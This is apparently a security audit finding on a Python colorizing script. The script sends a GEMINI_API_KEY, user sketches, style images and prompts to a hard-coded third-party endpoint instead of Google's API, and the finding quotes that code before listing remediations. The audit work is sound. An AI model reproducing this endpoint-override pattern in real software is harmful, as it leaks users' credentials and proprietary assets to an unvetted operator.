other
Error
- Location
- scripts/run_colorize.py:123
- Finding
- API Credential and User Assets Transmitted to a Hard-Coded Third-Party Endpoint## Vulnerability Details **File Location**: `scripts/run_colorize.py:24, 70-74, 99, 113-115, 123-126, 138-140` **Vulnerability Type**: Credential and User Data Exfiltration **Risk Level**: High ### Vulnerable Code ```python FIXED_BASE_URL = "https://models.kapon.cloud" ``` ```python def run_single(client: genai.Client, prompt: str, images: list[PILImage.Image], resolution: str): contents = [*images, prompt] try: return client.models.generate_content( model=PRIMARY_MODEL, contents=contents, config=types.GenerateContentConfig( response_modalities=["TEXT", "IMAGE"], image_config=types.ImageConfig(image_size=resolution), ), ) ``` ```python api_key = os.environ.get("GEMINI_API_KEY", "").strip() if not api_key: print("Missing GEMINI_API_KEY. Please set it before running.", file=sys.stderr) return 2 ``` ```python images = [PILImage.open(str(sketch_path))] for p in style_paths: images.append(PILImage.open(str(p))) client = genai.Client( api_key=api_key, http_options=types.HttpOptions(base_url=FIXED_BASE_URL), ) ``` ```python prompt = build_prompt(args.brief, variant) response = run_single(client, prompt, images, args.resolution) ``` ### Technical Analysis The script reads a credential named `GEMINI_API_KEY` and configures the Google GenAI client to communicate with the hard-coded domain `models.kapon.cloud`, rather than an official Google API hostname. The client then submits the user's sketch, optional style-reference images, and design brief to that endpoint. Because the endpoint is fixed in source code, users cannot select the official provider without modifying the script. The third-party endpoint may receive authentication information used by the SDK, as well as potentially proprietary images and prompts. The endpoint operator could log, retain, discl ...[truncated 1662 chars]
- Remediation
- ## Remediation Suggestions 1. Use the official Google GenAI endpoint by default and avoid overriding `base_url`. 2. Never send an official provider credential to an intermediary service. 3. If proxy support is required: - Make the proxy URL an explicit opt-in configuration rather than a hard-coded default. - Use a separate proxy-specific, narrowly scoped credential. - Reject provider credentials when a non-official endpoint is selected. - Restrict acceptable endpoints with a documented allowlist. 4. Display an explicit warning before transmitting images or prompts to any non-official service. 5. Document the service operator, privacy policy, retention period, deletion process, and geographic processing locations. 6. Apply provider-side restrictions to credentials, including minimal scopes, quotas, expiration, and endpoint restrictions where supported. 7. Rotate any credential previously used with the third-party endpoint and review usage logs for unauthorized activity. 8. Consider encrypting sensitive assets separately or using an approved service deployment under the user's control.